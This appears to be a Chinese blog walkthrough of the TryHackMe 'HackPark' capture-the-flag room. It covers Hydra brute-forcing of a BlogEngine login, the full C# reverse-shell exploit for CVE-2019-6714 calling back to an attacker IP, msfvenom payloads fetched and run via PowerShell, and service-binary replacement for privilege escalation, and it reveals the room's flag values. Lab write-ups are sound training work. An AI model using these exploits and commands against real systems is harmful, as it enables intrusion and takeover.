TryHackMe - HackPark

本文相关的TryHackMe实验房间链接:TryHackMe

本文相关介绍:使用 Hydra 暴力破解网站登录系统,识别并使用公开漏洞,然后提升您在此 Windows 计算机上的权限!

可以学习到暴力破解帐户凭据、处理公开漏洞、使用Metasploit框架以及 Windows 上的权限提升等知识。

本次实验目标机器IP为:10.10.0.15       后期变为: 10.13.53.172

Task 1 - Deploy the vulnerable Windows machine(部署易受攻击的 Windows 机器)

1、部署目标机器并访问其 Web 服务器。

2、答题卡

Task 2 - Using Hydra to brute-force a login(使用 Hydra 暴力登录)

1、寻找登录表单 URL和请求类型

我们需要找到登录页面并确定该表单 向web服务器发出的请求类型。

通常,Web 服务器会发出两种类型的请求:一种是用于向 Web 服务器请求数据的 GET 请求,另一种是 POST 请求。

可以通过右键单击登录表单、检查元素然后读取method 字段中的值来检查表单发出的请求类型,也可以使用 BurpSuite 拦截流量,从而识别请求类型。

关于其他HTTP方法请参考:HTTP Methods GET vs POST

右键 -- 检查

现在我们知道登录表单的 URL和请求类型(POST),我们可以使用hydra开始暴力破解帐户了。

2、Hydra爆破

Hydra 是一种并行化、快速且灵活的登录破解工具

Hydra -l <用户名> -P /usr/share/wordlists/<wordlist> <ip> http-post-form <login request pattern>

需要填充的字段有:用户名(admin)和IP(靶机IP)以及字典(rockyou.txt),在http-post-from后加上网站登陆页的URL以及POST请求所对应的表单数据(表单数据可通过Burp抓取或者在浏览器端直接查看),其中用户名和密码要修改格式(USER和PASS),最后再加上登录错误时的提示语句"Login failed"(将浏览器语言设置为英文)。

具体命令如下:(记得修改成自己的字段)

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.0.15 http-post-form "/Account/login.aspx:__VIEWSTATE=8%2BvIi%2Ft0%2BqzxQOWkd%2F7RFtSExsIuCobiay%2BqAvLsGwkwZ%2BzgDZCu%2BWsoaY1Fg48C5v01ob%2FdRFgAY2oJ7U1Iv6QrNyecEMrS7a%2BGLRTe3Ktq6uMkiQWmCGxST50gVCdHDEsjoGDYVkmMGdVjaBapbg9O7ao33l2NT%2BDKLkVregjGzcaF&__EVENTVALIDATION=kNzxwjYOm%2Fh9kMoS95hiCAxo77Ae8XkqXz54kpBA1TVoRun8Z1FiivLUvE5RzjdMYkhkvFKD%2BHv4usOYBXbLadry3Ho6vDLz8eCt1xpu5bRifK6zzSa2tJLNwY1gcKzwgcBEgtOwSHn2IgPUguPTfzg8S1yH7YT7Svpt4pq1u4X1Pjuq&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

破解结果为:admin/1qaz2wsx

3、答题卡

4、踩坑点

(1)、POST请求所对应的表单数据要进行URL编码,否则Hydra会报错(可以用在线url编码网站)

(2)、Hydra报错:rockyou.txt 找不到密码本

解决方法:cd /usr/share/wordlists   -->   gzip -d rockyou.txt.gz

5、扩展知识

Hydra 有很多功能,并且有许多可用的“模块”(我们刚才使用的 http-post-form就是模块的一种),此工具不仅适用于暴力破解 HTTP 表单,还适用于破解其他计算机协议相关的登陆密码,例如 FTP、SSH、SMTP、SMB 等协议。

下面是一个关于Hydra的迷你备忘单:

                                                    命令                       描述
Hydra -P <单词列表> -v <ip> <协议>对您选择的协议进行暴力破解
Hydra -v -V -u -L <用户名列表> -P <密码列表> -t 1 -u <ip> <协议>您可以使用 Hydra 来暴力破解用户名和密码。它将循环遍历列表中的每个组合。 (-vV = 详细模式,显示登录尝试)
Hydra -t 1 -V -f -l <​​用户名> -P <单词列表> rdp://<ip>使用密码列表攻击 Windows 远程桌面。
Hydra -l <​​用户名> -P .<密码列表> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=登录&testcookie=1:S =位置'为 Hydra 提出更具体的暴力请求。

Task 3 - Compromise the machine(入侵机器)

1、查找漏洞信息

使用上一小节破解所得的密码来登录目标站点 (admin/1qaz2wsx)

在管理员面板查看网站所用的CMS版本

BlogEngine 3.3.6.0

使用exploit 数据库查找BlogEngine 3.3.6.0的远程RCE漏洞exp以及对应的CVE编号

CVE-2019-6714

2、漏洞利用

使用公开的漏洞exp,获得对目标服务器的初始访问权限。

2.1、获取EXP

方式一:

下载exp,得到46353.cs文件

# 复制粘贴并修改文件后缀为.ascx(该exp脚本的内容中有提及文件后缀名)
cp /root/Downloads/46353.cs PostView.ascx

方式二:

利用离线的exp-db找到存储在本地机的远程RCE漏洞exp文件

找到exp脚本路径

复制粘贴以便修改使用

# 复制粘贴并修改文件后缀为.ascx(该exp脚本的内容中有提及文件后缀名)
cp /usr/share/exploitdb/exploits/aspx/webapps/46353.cs PostView.ascx

完整的exp内容为:

# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714

/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This 
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can 
 * be seen in this file:
 * 
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to 
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the 
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the 
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
   static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

   using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.11.15.168", 4445)) {
   using(System.IO.Stream stream = client.GetStream()) {
   using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
      streamWriter = new System.IO.StreamWriter(stream);

                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new                                                                   System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                p.Start();
                p.BeginOutputReadLine();

while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
          }
          }
          }
          }
     }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
    StringBuilder strOutput = new StringBuilder();

       if (!String.IsNullOrEmpty(outLine.Data)) {
           try {
                    strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

通过exp脚本的内容 得知该exp的利用过程

  1. 首先,将脚本中的TcpClient 地址和端口设置为本地攻击机的ip和端口。
  2. 接下来,上传文件--PostView.ascx,用于上传的页面是(修改ip为目标站点):http://10.10.10.10/admin/app/editor/editpost.cshtml
  3. 最后,通过访问http://10.10.10.10/?theme=../../App_Data/files 触发漏洞(此处修改ip为目标站点)

2.2、修改EXP

主要是在exp脚本内容中填充本地攻击机ip:

2.3、上传修改后的EXP

文件上传的路径为  http://10.13.53.172/admin/app/editor/editpost.cshtml

在本地攻击机上设置Netcat监听器:

nc -nlvp 4445

2.4、攻击

访问http://10.13.53.172/?theme=../../App_Data/files 触发漏洞exp,得到shell后输入whoami验证

iis apppool\blog

3、答题卡

Task 4 - Windows Privilege Escalation(Windows 权限提升)

上一小节建立的netcat 会话有点不稳定,我们可以利用 msfvenom 来建立一个新的反向shell。

我们可以将普通shell升级为 meterpreter会话,此处需要使用 metasploit 来设置一个监听器。

1、启动一个终端,运行metasploit并启动一个监听器

2、另启一个终端:使用msfvenom 生成一个用于建立反向shell的exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.53.172 LPORT=4444 -e x86/shikata_ga_nai -f exe -o reverse.exe

在此终端上启动http服务器,将exe文件上传到目标机

python3 -m http.server 3333

使用上一小节中所建立的shell界面拉取本地机中的exe文件到目标机上并执行该exe文件。

tips:

  • 我们通常会发现目标系统的C:\Windows\Temp是全局可写的!我们可以利用这一点在目标机上操作--拉取本地机中的文件到目标系统上并尝试执行这些文件。
  • 例子(前提是在本地机启动http服务器):powershell -c "Invoke-WebRequest -Uri 'ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"
  • 使用 .\filename.exe 在目标机上执行这些文件。
cd C:\windows\temp
powershell -c wget "http://10.13.53.172:3333/reverse.exe" -outfile "reverse.exe"
dir
reverse.exe  

在 meterpreter 会话中运行 sysinfo命令获取目标操作系统的版本信息。

Windows 2012 R2 (6.3 Build 9600)

进一步枚举目标机器,找到运行异常的服务名称。

在此处:我们可以使用一个名为 WinPEAS 的工具。 WinPEAS 是一个脚本,它可以在 Windows 机器上找到可能会被攻击者利用的路径和服务。

脚本地址:Releases · carlospolop/PEASS-ng · GitHub

上传WinPEAS脚本文件到目标机(方法和之前类似,此处使用第三小节中建立的的普通shell界面进行上传,也可以使用刚才建立的meterpreter 会话进行上传)

方法一:普通shell界面进行上传

方法二:使用meterpreter 上传文件到目标机并执行

upload /root/Downloads/winPEASx64.exe  winPEAS.exe
shell
winPEAS.exe 

WindowsScheduler

接下来我们要找到和异常服务对应的正确的二进制文件名称,需要前往异常服务对应的service 目录(由之前WinPEAS 脚本执行的结果可知路径C:\Program Files (x86)\SystemScheduler),该目录有一个包含日志文件log的Events目录,通过检查日志文件发现一个偶尔运行的二进制文件:Message.exe

cd "C:\Program Files (x86)\SystemScheduler"
dir

cd Events
dir
type 20198415519.INI_LOG.txt  

Message.exe

利用异常服务及其对应的二进制文件进行提权。

因为WindowsScheduler 服务定期运行,并且该服务在以管理员权限调用Message.exe。 因此,我们可以通过将目标机中的原版Message.exe 替换为我们自定义的可执行文件来生成反向 shell 从而尝试提权,由于原文件在目标机上是以管理员权限调用的,所以我们能够得到一个root shell。

先在本地机上运行Metasploit设置一个新的监听器接收root shell

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.13.53.172 
set LPORT 6666
run

在本地机上使用 msfvenom 生成我们自己的Message.exe可执行文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.53.172 LPORT=6666 -e x86/shikata_ga_nai -f exe -o Message.exe

使用之前已经建立的meterpreter会话界面,确认目标机原版Message.exe文件的位置,在此位置上传我们刚才生成的新的Message.exe文件:

cd "C:\Program Files (x86)\SystemScheduler"  # 由之前WinPEAS脚本执行的结果可知路径C:\Program Files (x86)\SystemScheduler
upload Message.exe
# 使用meterpreter会话完成上传之后,发现Message.exe文件大小未发生变化--说明上传、覆盖原文件失败
# 如果使用meterpreter会话界面上传文件失败,则可以选择使用利用普通shell完成上传操作

若使用普通shell界面上传Message.exe文件到目标机(首先要在本地机的Message.exe文件目录下启动http服务器--和前面一样的操作,此处不加赘述)

cd "C:\Program Files (x86)\SystemScheduler"
powershell -c wget "http://10.13.53.172:333/Message.exe" -outfile "Message1.exe"

# 通过普通shell界面上传文件成功之后,再利用meterpreter修改并覆盖原Message.exe文件即可
mv Message.exe Message.bak   # 备份原文件
mv Message1.exe Message.exe  # 在meterpreter会话界面输入该行命令(要先进入原Message.exe文件目录下)

等待一段时间,然后查看Metasploit监听器对应的终端界面,使用root shell界面找到并查看目标flag内容

user.txt内容为:759bd8af507517bcfaede78a21a73e39

root.txt内容为:7e13d97f05f7ceb9881a3eb3d78d3e72

答题卡

Task 5 - Privilege Escalation Without Metasploit(不使用Metasploit 的权限提升)

获得管理员权限之后,我们可以查询系统原始安装时间:

systeminfo | findstr Date

8/3/2019, 10:43:23 AM

答题卡

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值